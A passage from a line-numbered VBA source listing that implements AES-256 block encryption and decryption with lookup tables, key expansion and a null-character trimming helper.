&H27, &H22, &H21, _ 1168 | &H60, &H63, &H66, &H65, &H6C, &H6F, &H6A, &H69, &H78, &H7B, &H7E, &H7D, &H74, &H77, &H72, &H71, _ 1169 | &H50, &H53, &H56, &H55, &H5C, &H5F, &H5A, &H59, &H48, &H4B, &H4E, &H4D, &H44, &H47, &H42, &H41, _ 1170 | &HC0, &HC3, &HC6, &HC5, &HCC, &HCF, &HCA, &HC9, &HD8, &HDB, &HDE, &HDD, &HD4, &HD7, &HD2, &HD1, _ 1171 | &HF0, &HF3, &HF6, &HF5, &HFC, &HFF, &HFA, &HF9, &HE8, &HEB, &HEE, &HED, &HE4, &HE7, &HE2, &HE1, _ 1172 | &HA0, &HA3, &HA6, &HA5, &HAC, &HAF, &HAA, &HA9, &HB8, &HBB, &HBE, &HBD, &HB4, &HB7, &HB2, &HB1, _ 1173 | &H90, &H93, &H96, &H95, &H9C, &H9F, &H9A, &H99, &H88, &H8B, &H8E, &H8D, &H84, &H87, &H82, &H81, _ 1174 | &H9B, &H98, &H9D, &H9E, &H97, &H94, &H91, &H92, &H83, &H80, &H85, &H86, &H8F, &H8C, &H89, &H8A, _ 1175 | &HAB, &HA8, &HAD, &HAE, &HA7, &HA4, &HA1, &HA2, &HB3, &HB0, &HB5, &HB6, &HBF, &HBC, &HB9, &HBA, _ 1176 | &HFB, &HF8, &HFD, &HFE, &HF7, &HF4, &HF1, &HF2, &HE3, &HE0, &HE5, &HE6, &HEF, &HEC, &HE9, &HEA, _ 1177 | &HCB, &HC8, &HCD, &HCE, &HC7, &HC4, &HC1, &HC2, &HD3, &HD0, &HD5, &HD6, &HDF, &HDC, &HD9, &HDA, _ 1178 | &H5B, &H58, &H5D, &H5E, &H57, &H54, &H51, &H52, &H43, &H40, &H45, &H46, &H4F, &H4C, &H49, &H4A, _ 1179 | &H6B, &H68, &H6D, &H6E, &H67, &H64, &H61, &H62, &H73, &H70, &H75, &H76, &H7F, &H7C, &H79, &H7A, _ 1180 | &H3B, &H38, &H3D, &H3E, &H37, &H34, &H31, &H32, &H23, &H20, &H25, &H26, &H2F, &H2C, &H29, &H2A, _ 1181 | &HB, &H8, &HD, &HE, &H7, &H4, &H1, &H2, &H13, &H10, &H15, &H16, &H1F, &H1C, &H19, &H1A) 1182 | 1183 | g9 = Array( _ 1184 | &H0, &H9, &H12, &H1B, &H24, &H2D, &H36, &H3F, &H48, &H41, &H5A, &H53, &H6C, &H65, &H7E, &H77, _ 1185 | &H90, &H99, &H82, &H8B, &HB4, &HBD, &HA6, &HAF, &HD8, &HD1, &HCA, &HC3, &HFC, &HF5, &HEE, &HE7, _ 1186 | &H3B, &H32, &H29, &H20, &H1F, &H16, &HD, &H4, &H73, &H7A, &H61, &H68, &H57, &H5E, &H45, &H4C, _ 1187 | &HAB, &HA2, &HB9, &HB0, &H8F, &H86, &H9D, &H94, &HE3, &HEA, &HF1, &HF8, &HC7, &HCE, &HD5, &HDC, _ 1188 | &H76, &H7F, &H64, &H6D, &H52, &H5B, &H40, &H49, &H3E, &H37, &H2C, &H25, &H1A, &H13, &H8, &H1, _ 1189 | &HE6, &HEF, &HF4, &HFD, &HC2, &HCB, &HD0, &HD9, &HAE, &HA7, &HBC, &HB5, &H8A, &H83, &H98, &H91, _ 1190 | &H4D, &H44, &H5F, &H56, &H69, &H60, &H7B, &H72, &H5, &HC, &H17, &H1E, &H21, &H28, &H33, &H3A, _ 1191 | &HDD, &HD4, &HCF, &HC6, &HF9, &HF0, &HEB, &HE2, &H95, &H9C, &H87, &H8E, &HB1, &HB8, &HA3, &HAA, _ 1192 | &HEC, &HE5, &HFE, &HF7, &HC8, &HC1, &HDA, &HD3, &HA4, &HAD, &HB6, &HBF, &H80, &H89, &H92, &H9B, _ 1193 | &H7C, &H75, &H6E, &H67, &H58, &H51, &H4A, &H43, &H34, &H3D, &H26, &H2F, &H10, &H19, &H2, &HB, _ 1194 | &HD7, &HDE, &HC5, &HCC, &HF3, &HFA, &HE1, &HE8, &H9F, &H96, &H8D, &H84, &HBB, &HB2, &HA9, &HA0, _ 1195 | &H47, &H4E, &H55, &H5C, &H63, &H6A, &H71, &H78, &HF, &H6, &H1D, &H14, &H2B, &H22, &H39, &H30, _ 1196 | &H9A, &H93, &H88, &H81, &HBE, &HB7, &HAC, &HA5, &HD2, &HDB, &HC0, &HC9, &HF6, &HFF, &HE4, &HED, _ 1197 | &HA, &H3, &H18, &H11, &H2E, &H27, &H3C, &H35, &H42, &H4B, &H50, &H59, &H66, &H6F, &H74, &H7D, _ 1198 | &HA1, &HA8, &HB3, &HBA, &H85, &H8C, &H97, &H9E, &HE9, &HE0, &HFB, &HF2, &HCD, &HC4, &HDF, &HD6, _ 1199 | &H31, &H38, &H23, &H2A, &H15, &H1C, &H7, &HE, &H79, &H70, &H6B, &H62, &H5D, &H54, &H4F, &H46) 1200 | 1201 | g11 = Array( _ 1202 | &H0, &HB, &H16, &H1D, &H2C, &H27, &H3A, &H31, &H58, &H53, &H4E, &H45, &H74, &H7F, &H62, &H69, _ 1203 | &HB0, &HBB, &HA6, &HAD, &H9C, &H97, &H8A, &H81, &HE8, &HE3, &HFE, &HF5, &HC4, &HCF, &HD2, &HD9, _ 1204 | &H7B, &H70, &H6D, &H66, &H57, &H5C, &H41, &H4A, &H23, &H28, &H35, &H3E, &HF, &H4, &H19, &H12, _ 1205 | &HCB, &HC0, &HDD, &HD6, &HE7, &HEC, &HF1, &HFA, &H93, &H98, &H85, &H8E, &HBF, &HB4, &HA9, &HA2, _ 1206 | &HF6, &HFD, &HE0, &HEB, &HDA, &HD1, &HCC, &HC7, &HAE, &HA5, &HB8, &HB3, &H82, &H89, &H94, &H9F, _ 1207 | &H46, &H4D, &H50, &H5B, &H6A, &H61, &H7C, &H77, &H1E, &H15, &H8, &H3, &H32, &H39, &H24, &H2F, _ 1208 | &H8D, &H86, &H9B, &H90, &HA1, &HAA, &HB7, &HBC, &HD5, &HDE, &HC3, &HC8, &HF9, &HF2, &HEF, &HE4, _ 1209 | &H3D, &H36, &H2B, &H20, &H11, &H1A, &H7, &HC, &H65, &H6E, &H73, &H78, &H49, &H42, &H5F, &H54, _ 1210 | &HF7, &HFC, &HE1, &HEA, &HDB, &HD0, &HCD, &HC6, &HAF, &HA4, &HB9, &HB2, &H83, &H88, &H95, &H9E, _ 1211 | &H47, &H4C, &H51, &H5A, &H6B, &H60, &H7D, &H76, &H1F, &H14, &H9, &H2, &H33, &H38, &H25, &H2E, _ 1212 | &H8C, &H87, &H9A, &H91, &HA0, &HAB, &HB6, &HBD, &HD4, &HDF, &HC2, &HC9, &HF8, &HF3, &HEE, &HE5, _ 1213 | &H3C, &H37, &H2A, &H21, &H10, &H1B, &H6, &HD, &H64, &H6F, &H72, &H79, &H48, &H43, &H5E, &H55, _ 1214 | &H1, &HA, &H17, &H1C, &H2D, &H26, &H3B, &H30, &H59, &H52, &H4F, &H44, &H75, &H7E, &H63, &H68, _ 1215 | &HB1, &HBA, &HA7, &HAC, &H9D, &H96, &H8B, &H80, &HE9, &HE2, &HFF, &HF4, &HC5, &HCE, &HD3, &HD8, _ 1216 | &H7A, &H71, &H6C, &H67, &H56, &H5D, &H40, &H4B, &H22, &H29, &H34, &H3F, &HE, &H5, &H18, &H13, _ 1217 | &HCA, &HC1, &HDC, &HD7, &HE6, &HED, &HF0, &HFB, &H92, &H99, &H84, &H8F, &HBE, &HB5, &HA8, &HA3) 1218 | 1219 | g13 = Array( _ 1220 | &H0, &HD, &H1A, &H17, &H34, &H39, &H2E, &H23, &H68, &H65, &H72, &H7F, &H5C, &H51, &H46, &H4B, _ 1221 | &HD0, &HDD, &HCA, &HC7, &HE4, &HE9, &HFE, &HF3, &HB8, &HB5, &HA2, &HAF, &H8C, &H81, &H96, &H9B, _ 1222 | &HBB, &HB6, &HA1, &HAC, &H8F, &H82, &H95, &H98, &HD3, &HDE, &HC9, &HC4, &HE7, &HEA, &HFD, &HF0, _ 1223 | &H6B, &H66, &H71, &H7C, &H5F, &H52, &H45, &H48, &H3, &HE, &H19, &H14, &H37, &H3A, &H2D, &H20, _ 1224 | &H6D, &H60, &H77, &H7A, &H59, &H54, &H43, &H4E, &H5, &H8, &H1F, &H12, &H31, &H3C, &H2B, &H26, _ 1225 | &HBD, &HB0, &HA7, &HAA, &H89, &H84, &H93, &H9E, &HD5, &HD8, &HCF, &HC2, &HE1, &HEC, &HFB, &HF6, _ 1226 | &HD6, &HDB, &HCC, &HC1, &HE2, &HEF, &HF8, &HF5, &HBE, &HB3, &HA4, &HA9, &H8A, &H87, &H90, &H9D, _ 1227 | &H6, &HB, &H1C, &H11, &H32, &H3F, &H28, &H25, &H6E, &H63, &H74, &H79, &H5A, &H57, &H40, &H4D, _ 1228 | &HDA, &HD7, &HC0, &HCD, &HEE, &HE3, &HF4, &HF9, &HB2, &HBF, &HA8, &HA5, &H86, &H8B, &H9C, &H91, _ 1229 | &HA, &H7, &H10, &H1D, &H3E, &H33, &H24, &H29, &H62, &H6F, &H78, &H75, &H56, &H5B, &H4C, &H41, _ 1230 | &H61, &H6C, &H7B, &H76, &H55, &H58, &H4F, &H42, &H9, &H4, &H13, &H1E, &H3D, &H30, &H27, &H2A, _ 1231 | &HB1, &HBC, &HAB, &HA6, &H85, &H88, &H9F, &H92, &HD9, &HD4, &HC3, &HCE, &HED, &HE0, &HF7, &HFA, _ 1232 | &HB7, &HBA, &HAD, &HA0, &H83, &H8E, &H99, &H94, &HDF, &HD2, &HC5, &HC8, &HEB, &HE6, &HF1, &HFC, _ 1233 | &H67, &H6A, &H7D, &H70, &H53, &H5E, &H49, &H44, &HF, &H2, &H15, &H18, &H3B, &H36, &H21, &H2C, _ 1234 | &HC, &H1, &H16, &H1B, &H38, &H35, &H22, &H2F, &H64, &H69, &H7E, &H73, &H50, &H5D, &H4A, &H47, _ 1235 | &HDC, &HD1, &HC6, &HCB, &HE8, &HE5, &HF2, &HFF, &HB4, &HB9, &HAE, &HA3, &H80, &H8D, &H9A, &H97) 1236 | 1237 | g14 = Array( _ 1238 | &H0, &HE, &H1C, &H12, &H38, &H36, &H24, &H2A, &H70, &H7E, &H6C, &H62, &H48, &H46, &H54, &H5A, _ 1239 | &HE0, &HEE, &HFC, &HF2, &HD8, &HD6, &HC4, &HCA, &H90, &H9E, &H8C, &H82, &HA8, &HA6, &HB4, &HBA, _ 1240 | &HDB, &HD5, &HC7, &HC9, &HE3, &HED, &HFF, &HF1, &HAB, &HA5, &HB7, &HB9, &H93, &H9D, &H8F, &H81, _ 1241 | &H3B, &H35, &H27, &H29, &H3, &HD, &H1F, &H11, &H4B, &H45, &H57, &H59, &H73, &H7D, &H6F, &H61, _ 1242 | &HAD, &HA3, &HB1, &HBF, &H95, &H9B, &H89, &H87, &HDD, &HD3, &HC1, &HCF, &HE5, &HEB, &HF9, &HF7, _ 1243 | &H4D, &H43, &H51, &H5F, &H75, &H7B, &H69, &H67, &H3D, &H33, &H21, &H2F, &H5, &HB, &H19, &H17, _ 1244 | &H76, &H78, &H6A, &H64, &H4E, &H40, &H52, &H5C, &H6, &H8, &H1A, &H14, &H3E, &H30, &H22, &H2C, _ 1245 | &H96, &H98, &H8A, &H84, &HAE, &HA0, &HB2, &HBC, &HE6, &HE8, &HFA, &HF4, &HDE, &HD0, &HC2, &HCC, _ 1246 | &H41, &H4F, &H5D, &H53, &H79, &H77, &H65, &H6B, &H31, &H3F, &H2D, &H23, &H9, &H7, &H15, &H1B, _ 1247 | &HA1, &HAF, &HBD, &HB3, &H99, &H97, &H85, &H8B, &HD1, &HDF, &HCD, &HC3, &HE9, &HE7, &HF5, &HFB, _ 1248 | &H9A, &H94, &H86, &H88, &HA2, &HAC, &HBE, &HB0, &HEA, &HE4, &HF6, &HF8, &HD2, &HDC, &HCE, &HC0, _ 1249 | &H7A, &H74, &H66, &H68, &H42, &H4C, &H5E, &H50, &HA, &H4, &H16, &H18, &H32, &H3C, &H2E, &H20, _ 1250 | &HEC, &HE2, &HF0, &HFE, &HD4, &HDA, &HC8, &HC6, &H9C, &H92, &H80, &H8E, &HA4, &HAA, &HB8, &HB6, _ 1251 | &HC, &H2, &H10, &H1E, &H34, &H3A, &H28, &H26, &H7C, &H72, &H60, &H6E, &H44, &H4A, &H58, &H56, _ 1252 | &H37, &H39, &H2B, &H25, &HF, &H1, &H13, &H1D, &H47, &H49, &H5B, &H55, &H7F, &H71, &H63, &H6D, _ 1253 | &HD7, &HD9, &HCB, &HC5, &HEF, &HE1, &HF3, &HFD, &HA7, &HA9, &HBB, &HB5, &H9F, &H91, &H83, &H8D) 1254 | 1255 | sbox = Array( _ 1256 | &H63, &H7C, &H77, &H7B, &HF2, &H6B, &H6F, &HC5, &H30, &H1, &H67, &H2B, &HFE, &HD7, &HAB, &H76, _ 1257 | &HCA, &H82, &HC9, &H7D, &HFA, &H59, &H47, &HF0, &HAD, &HD4, &HA2, &HAF, &H9C, &HA4, &H72, &HC0, _ 1258 | &HB7, &HFD, &H93, &H26, &H36, &H3F, &HF7, &HCC, &H34, &HA5, &HE5, &HF1, &H71, &HD8, &H31, &H15, _ 1259 | &H4, &HC7, &H23, &HC3, &H18, &H96, &H5, &H9A, &H7, &H12, &H80, &HE2, &HEB, &H27, &HB2, &H75, _ 1260 | &H9, &H83, &H2C, &H1A, &H1B, &H6E, &H5A, &HA0, &H52, &H3B, &HD6, &HB3, &H29, &HE3, &H2F, &H84, _ 1261 | &H53, &HD1, &H0, &HED, &H20, &HFC, &HB1, &H5B, &H6A, &HCB, &HBE, &H39, &H4A, &H4C, &H58, &HCF, _ 1262 | &HD0, &HEF, &HAA, &HFB, &H43, &H4D, &H33, &H85, &H45, &HF9, &H2, &H7F, &H50, &H3C, &H9F, &HA8, _ 1263 | &H51, &HA3, &H40, &H8F, &H92, &H9D, &H38, &HF5, &HBC, &HB6, &HDA, &H21, &H10, &HFF, &HF3, &HD2, _ 1264 | &HCD, &HC, &H13, &HEC, &H5F, &H97, &H44, &H17, &HC4, &HA7, &H7E, &H3D, &H64, &H5D, &H19, &H73, _ 1265 | &H60, &H81, &H4F, &HDC, &H22, &H2A, &H90, &H88, &H46, &HEE, &HB8, &H14, &HDE, &H5E, &HB, &HDB, _ 1266 | &HE0, &H32, &H3A, &HA, &H49, &H6, &H24, &H5C, &HC2, &HD3, &HAC, &H62, &H91, &H95, &HE4, &H79, _ 1267 | &HE7, &HC8, &H37, &H6D, &H8D, &HD5, &H4E, &HA9, &H6C, &H56, &HF4, &HEA, &H65, &H7A, &HAE, &H8, _ 1268 | &HBA, &H78, &H25, &H2E, &H1C, &HA6, &HB4, &HC6, &HE8, &HDD, &H74, &H1F, &H4B, &HBD, &H8B, &H8A, _ 1269 | &H70, &H3E, &HB5, &H66, &H48, &H3, &HF6, &HE, &H61, &H35, &H57, &HB9, &H86, &HC1, &H1D, &H9E, _ 1270 | &HE1, &HF8, &H98, &H11, &H69, &HD9, &H8E, &H94, &H9B, &H1E, &H87, &HE9, &HCE, &H55, &H28, &HDF, _ 1271 | &H8C, &HA1, &H89, &HD, &HBF, &HE6, &H42, &H68, &H41, &H99, &H2D, &HF, &HB0, &H54, &HBB, &H16) 1272 | 1273 | sboxinv = Array( _ 1274 | &H52, &H9, &H6A, &HD5, &H30, &H36, &HA5, &H38, &HBF, &H40, &HA3, &H9E, &H81, &HF3, &HD7, &HFB, _ 1275 | &H7C, &HE3, &H39, &H82, &H9B, &H2F, &HFF, &H87, &H34, &H8E, &H43, &H44, &HC4, &HDE, &HE9, &HCB, _ 1276 | &H54, &H7B, &H94, &H32, &HA6, &HC2, &H23, &H3D, &HEE, &H4C, &H95, &HB, &H42, &HFA, &HC3, &H4E, _ 1277 | &H8, &H2E, &HA1, &H66, &H28, &HD9, &H24, &HB2, &H76, &H5B, &HA2, &H49, &H6D, &H8B, &HD1, &H25, _ 1278 | &H72, &HF8, &HF6, &H64, &H86, &H68, &H98, &H16, &HD4, &HA4, &H5C, &HCC, &H5D, &H65, &HB6, &H92, _ 1279 | &H6C, &H70, &H48, &H50, &HFD, &HED, &HB9, &HDA, &H5E, &H15, &H46, &H57, &HA7, &H8D, &H9D, &H84, _ 1280 | &H90, &HD8, &HAB, &H0, &H8C, &HBC, &HD3, &HA, &HF7, &HE4, &H58, &H5, &HB8, &HB3, &H45, &H6, _ 1281 | &HD0, &H2C, &H1E, &H8F, &HCA, &H3F, &HF, &H2, &HC1, &HAF, &HBD, &H3, &H1, &H13, &H8A, &H6B, _ 1282 | &H3A, &H91, &H11, &H41, &H4F, &H67, &HDC, &HEA, &H97, &HF2, &HCF, &HCE, &HF0, &HB4, &HE6, &H73, _ 1283 | &H96, &HAC, &H74, &H22, &HE7, &HAD, &H35, &H85, &HE2, &HF9, &H37, &HE8, &H1C, &H75, &HDF, &H6E, _ 1284 | &H47, &HF1, &H1A, &H71, &H1D, &H29, &HC5, &H89, &H6F, &HB7, &H62, &HE, &HAA, &H18, &HBE, &H1B, _ 1285 | &HFC, &H56, &H3E, &H4B, &HC6, &HD2, &H79, &H20, &H9A, &HDB, &HC0, &HFE, &H78, &HCD, &H5A, &HF4, _ 1286 | &H1F, &HDD, &HA8, &H33, &H88, &H7, &HC7, &H31, &HB1, &H12, &H10, &H59, &H27, &H80, &HEC, &H5F, _ 1287 | &H60, &H51, &H7F, &HA9, &H19, &HB5, &H4A, &HD, &H2D, &HE5, &H7A, &H9F, &H93, &HC9, &H9C, &HEF, _ 1288 | &HA0, &HE0, &H3B, &H4D, &HAE, &H2A, &HF5, &HB0, &HC8, &HEB, &HBB, &H3C, &H83, &H53, &H99, &H61, _ 1289 | &H17, &H2B, &H4, &H7E, &HBA, &H77, &HD6, &H26, &HE1, &H69, &H14, &H63, &H55, &H21, &HC, &H7D) 1290 | 1291 | rcon = Array( _ 1292 | &H8D, &H1, &H2, &H4, &H8, &H10, &H20, &H40, &H80, &H1B, &H36, &H6C, &HD8, &HAB, &H4D, &H9A, _ 1293 | &H2F, &H5E, &HBC, &H63, &HC6, &H97, &H35, &H6A, &HD4, &HB3, &H7D, &HFA, &HEF, &HC5, &H91, &H39, _ 1294 | &H72, &HE4, &HD3, &HBD, &H61, &HC2, &H9F, &H25, &H4A, &H94, &H33, &H66, &HCC, &H83, &H1D, &H3A, _ 1295 | &H74, &HE8, &HCB, &H8D, &H1, &H2, &H4, &H8, &H10, &H20, &H40, &H80, &H1B, &H36, &H6C, &HD8, _ 1296 | &HAB, &H4D, &H9A, &H2F, &H5E, &HBC, &H63, &HC6, &H97, &H35, &H6A, &HD4, &HB3, &H7D, &HFA, &HEF, _ 1297 | &HC5, &H91, &H39, &H72, &HE4, &HD3, &HBD, &H61, &HC2, &H9F, &H25, &H4A, &H94, &H33, &H66, &HCC, _ 1298 | &H83, &H1D, &H3A, &H74, &HE8, &HCB, &H8D, &H1, &H2, &H4, &H8, &H10, &H20, &H40, &H80, &H1B, _ 1299 | &H36, &H6C, &HD8, &HAB, &H4D, &H9A, &H2F, &H5E, &HBC, &H63, &HC6, &H97, &H35, &H6A, &HD4, &HB3, _ 1300 | &H7D, &HFA, &HEF, &HC5, &H91, &H39, &H72, &HE4, &HD3, &HBD, &H61, &HC2, &H9F, &H25, &H4A, &H94, _ 1301 | &H33, &H66, &HCC, &H83, &H1D, &H3A, &H74, &HE8, &HCB, &H8D, &H1, &H2, &H4, &H8, &H10, &H20, _ 1302 | &H40, &H80, &H1B, &H36, &H6C, &HD8, &HAB, &H4D, &H9A, &H2F, &H5E, &HBC, &H63, &HC6, &H97, &H35, _ 1303 | &H6A, &HD4, &HB3, &H7D, &HFA, &HEF, &HC5, &H91, &H39, &H72, &HE4, &HD3, &HBD, &H61, &HC2, &H9F, _ 1304 | &H25, &H4A, &H94, &H33, &H66, &HCC, &H83, &H1D, &H3A, &H74, &HE8, &HCB, &H8D, &H1, &H2, &H4, _ 1305 | &H8, &H10, &H20, &H40, &H80, &H1B, &H36, &H6C, &HD8, &HAB, &H4D, &H9A, &H2F, &H5E, &HBC, &H63, _ 1306 | &HC6, &H97, &H35, &H6A, &HD4, &HB3, &H7D, &HFA, &HEF, &HC5, &H91, &H39, &H72, &HE4, &HD3, &HBD, _ 1307 | &H61, &HC2, &H9F, &H25, &H4A, &H94, &H33, &H66, &HCC, &H83, &H1D, &H3A, &H74, &HE8, &HCB) 1308 | 1309 | Dim expandedKey, block(16), aesKey(32), i, isDone, j 1310 | Dim sPlain, sPass, sCipher, sTemp, nonce(16), priorCipher(16) 1311 | Dim x, r, y, temp(4), intTemp 1312 | 1313 | For i = 0 To 15 1314 | nonce(i) = 0 1315 | Next 1316 | 1317 | For i = 0 To (Len(sPassword) - 1) 1318 | aesKey(i) = Asc(Mid(sPassword, i + 1, 1)) 1319 | Next 1320 | 1321 | For i = Len(sPassword) To 31 1322 | aesKey(i) = 0 1323 | Next 1324 | 1325 | expandedKey = expandKey(aesKey, sbox, rcon) 1326 | 1327 | sPlain = sMessage 1328 | sCipher = "" 1329 | j = 0 1330 | isDone = False 1331 | 1332 | Do Until isDone 1333 | sTemp = Mid(sPlain, j * 16 + 1, 16) 1334 | 1335 | If Len(sTemp) < 16 Then 1336 | For i = Len(sTemp) To 15 1337 | sTemp = sTemp & Chr(0) 1338 | Next 1339 | End If 1340 | 1341 | For i = 0 To 15 1342 | block(i) = Asc(Mid(sTemp, (i Mod 4) * 4 + (i \ 4) + 1, 1)) 1343 | Next 1344 | 1345 | If (j + 1) * 16 >= Len(sPlain) Then 1346 | isDone = True 1347 | End If 1348 | 1349 | j = j + 1 1350 | 1351 | If isEncode Then 1352 | r = 0 1353 | For i = 0 To 15 1354 | block(i) = block(i) Xor nonce(i) Xor expandedKey((i Mod 4) * 4 + (i \ 4)) 1355 | Next 1356 | 1357 | For x = 1 To 13 1358 | block(0) = sbox(block(0)) 1359 | block(1) = sbox(block(1)) 1360 | block(2) = sbox(block(2)) 1361 | block(3) = sbox(block(3)) 1362 | 1363 | intTemp = sbox(block(4)) 1364 | block(4) = sbox(block(5)) 1365 | block(5) = sbox(block(6)) 1366 | block(6) = sbox(block(7)) 1367 | block(7) = intTemp 1368 | 1369 | intTemp = sbox(block(8)) 1370 | block(8) = sbox(block(10)) 1371 | block(10) = intTemp 1372 | intTemp = sbox(block(9)) 1373 | block(9) = sbox(block(11)) 1374 | block(11) = intTemp 1375 | 1376 | intTemp = sbox(block(12)) 1377 | block(12) = sbox(block(15)) 1378 | block(15) = sbox(block(14)) 1379 | block(14) = sbox(block(13)) 1380 | block(13) = intTemp 1381 | 1382 | r = x * 16 1383 | For i = 0 To 3 1384 | temp(0) = block(i) 1385 | temp(1) = block(i + 4) 1386 | temp(2) = block(i + 8) 1387 | temp(3) = block(i + 12) 1388 | 1389 | block(i) = g2(temp(0)) Xor temp(3) Xor temp(2) Xor g3(temp(1)) Xor expandedKey(r + i * 4) 1390 | block(i + 4) = g2(temp(1)) Xor temp(0) Xor temp(3) Xor g3(temp(2)) Xor expandedKey(r + i * 4 + 1) 1391 | block(i + 8) = g2(temp(2)) Xor temp(1) Xor temp(0) Xor g3(temp(3)) Xor expandedKey(r + i * 4 + 2) 1392 | block(i + 12) = g2(temp(3)) Xor temp(2) Xor temp(1) Xor g3(temp(0)) Xor expandedKey(r + i * 4 + 3) 1393 | Next 1394 | Next 1395 | 1396 | block(0) = sbox(block(0)) Xor expandedKey(224) 1397 | block(1) = sbox(block(1)) Xor expandedKey(228) 1398 | block(2) = sbox(block(2)) Xor expandedKey(232) 1399 | block(3) = sbox(block(3)) Xor expandedKey(236) 1400 | 1401 | intTemp = sbox(block(4)) Xor expandedKey(237) 1402 | block(4) = sbox(block(5)) Xor expandedKey(225) 1403 | block(5) = sbox(block(6)) Xor expandedKey(229) 1404 | block(6) = sbox(block(7)) Xor expandedKey(233) 1405 | block(7) = intTemp 1406 | 1407 | intTemp = sbox(block(8)) Xor expandedKey(234) 1408 | block(8) = sbox(block(10)) Xor expandedKey(226) 1409 | block(10) = intTemp 1410 | intTemp = sbox(block(9)) Xor expandedKey(238) 1411 | block(9) = sbox(block(11)) Xor expandedKey(230) 1412 | block(11) = intTemp 1413 | 1414 | intTemp = sbox(block(12)) Xor expandedKey(231) 1415 | block(12) = sbox(block(15)) Xor expandedKey(227) 1416 | block(15) = sbox(block(14)) Xor expandedKey(239) 1417 | block(14) = sbox(block(13)) Xor expandedKey(235) 1418 | block(13) = intTemp 1419 | 1420 | For i = 0 To 15 1421 | nonce(i) = block(i) 1422 | Next 1423 | Else 1424 | For i = 0 To 15 1425 | priorCipher(i) = block(i) 1426 | Next 1427 | 1428 | block(0) = sboxinv(block(0) Xor expandedKey(224)) 1429 | block(1) = sboxinv(block(1) Xor expandedKey(228)) 1430 | block(2) = sboxinv(block(2) Xor expandedKey(232)) 1431 | block(3) = sboxinv(block(3) Xor expandedKey(236)) 1432 | 1433 | intTemp = sboxinv(block(4) Xor expandedKey(225)) 1434 | block(4) = sboxinv(block(7) Xor expandedKey(237)) 1435 | block(7) = sboxinv(block(6) Xor expandedKey(233)) 1436 | block(6) = sboxinv(block(5) Xor expandedKey(229)) 1437 | block(5) = intTemp 1438 | 1439 | intTemp = sboxinv(block(8) Xor expandedKey(226)) 1440 | block(8) = sboxinv(block(10) Xor expandedKey(234)) 1441 | block(10) = intTemp 1442 | intTemp = sboxinv(block(9) Xor expandedKey(230)) 1443 | block(9) = sboxinv(block(11) Xor expandedKey(238)) 1444 | block(11) = intTemp 1445 | 1446 | intTemp = sboxinv(block(12) Xor expandedKey(227)) 1447 | block(12) = sboxinv(block(13) Xor expandedKey(231)) 1448 | block(13) = sboxinv(block(14) Xor expandedKey(235)) 1449 | block(14) = sboxinv(block(15) Xor expandedKey(239)) 1450 | block(15) = intTemp 1451 | 1452 | For x = 13 To 1 Step -1 1453 | r = x * 16 1454 | 1455 | For i = 0 To 3 1456 | temp(0) = block(i) Xor expandedKey(r + i * 4) 1457 | temp(1) = block(i + 4) Xor expandedKey(r + i * 4 + 1) 1458 | temp(2) = block(i + 8) Xor expandedKey(r + i * 4 + 2) 1459 | temp(3) = block(i + 12) Xor expandedKey(r + i * 4 + 3) 1460 | 1461 | block(i) = g14(temp(0)) Xor g9(temp(3)) Xor g13(temp(2)) Xor g11(temp(1)) 1462 | block(i + 4) = g14(temp(1)) Xor g9(temp(0)) Xor g13(temp(3)) Xor g11(temp(2)) 1463 | block(i + 8) = g14(temp(2)) Xor g9(temp(1)) Xor g13(temp(0)) Xor g11(temp(3)) 1464 | block(i + 12) = g14(temp(3)) Xor g9(temp(2)) Xor g13(temp(1)) Xor g11(temp(0)) 1465 | Next 1466 | 1467 | block(0) = sboxinv(block(0)) 1468 | block(1) = sboxinv(block(1)) 1469 | block(2) = sboxinv(block(2)) 1470 | block(3) = sboxinv(block(3)) 1471 | 1472 | intTemp = sboxinv(block(4)) 1473 | block(4) = sboxinv(block(7)) 1474 | block(7) = sboxinv(block(6)) 1475 | block(6) = sboxinv(block(5)) 1476 | block(5) = intTemp 1477 | 1478 | intTemp = sboxinv(block(8)) 1479 | block(8) = sboxinv(block(10)) 1480 | block(10) = intTemp 1481 | intTemp = sboxinv(block(9)) 1482 | block(9) = sboxinv(block(11)) 1483 | block(11) = intTemp 1484 | 1485 | intTemp = sboxinv(block(12)) 1486 | block(12) = sboxinv(block(13)) 1487 | block(13) = sboxinv(block(14)) 1488 | block(14) = sboxinv(block(15)) 1489 | block(15) = intTemp 1490 | Next 1491 | 1492 | r = 0 1493 | For i = 0 To 15 1494 | block(i) = block(i) Xor expandedKey((i Mod 4) * 4 + (i \ 4)) Xor nonce(i) 1495 | nonce(i) = priorCipher(i) 1496 | Next 1497 | End If 1498 | 1499 | For i = 0 To 15 1500 | sCipher = sCipher & Chr(block((i Mod 4) * 4 + (i \ 4))) 1501 | Next 1502 | Loop 1503 | 1504 | AES = sCipher 1505 | End Function 1506 | 1507 | Function keyScheduleCore(ByRef row(), ByVal a, ByRef sbox(), ByRef rcon()) 1508 | Dim result(4), i 1509 | 1510 | For i = 0 To 3 1511 | result(i) = sbox(row((i + 5) Mod 4)) 1512 | Next 1513 | 1514 | result(0) = result(0) Xor rcon(a) 1515 | keyScheduleCore = result 1516 | End Function 1517 | 1518 | Function expandKey(ByRef key(), ByRef sbox(), ByRef rcon()) 1519 | Dim rConIter, temp(), i, result(240) 1520 | 1521 | ReDim temp(4) 1522 | rConIter = 1 1523 | 1524 | For i = 0 To 31 1525 | result(i) = key(i) 1526 | Next 1527 | 1528 | For i = 32 To 239 Step 4 1529 | temp(0) = result(i - 4) 1530 | temp(1) = result(i - 3) 1531 | temp(2) = result(i - 2) 1532 | temp(3) = result(i - 1) 1533 | 1534 | If i Mod 32 = 0 Then 1535 | temp = keyScheduleCore(temp, rConIter, sbox, rcon) 1536 | rConIter = rConIter + 1 1537 | End If 1538 | 1539 | If i Mod 32 = 16 Then 1540 | temp(0) = sbox(temp(0)) 1541 | temp(1) = sbox(temp(1)) 1542 | temp(2) = sbox(temp(2)) 1543 | temp(3) = sbox(temp(3)) 1544 | End If 1545 | 1546 | result(i) = result(i - 32) Xor temp(0) 1547 | result(i + 1) = result(i - 31) Xor temp(1) 1548 | result(i + 2) = result(i - 30) Xor temp(2) 1549 | result(i + 3) = result(i - 29) Xor temp(3) 1550 | Next 1551 | 1552 | expandKey = result 1553 | End Function 1554 | 1555 | ' ########################################################################################### 1556 | ' # Following code trims null (chr(0)) characters from a string 1557 | ' # 1558 | ' # Based on : 1559 | ' # http://stackoverflow.com/a/30760913/5738 1560 | ' ########################################################################################### 1561 | 1562 | Function nTrim2(theString As String) As String 1563 | Dim iPos As Long 1564 | iPos = Len(theString) 1565 | For i = iPos To 0 Step -1 1566 | iPos = i 1567 | If 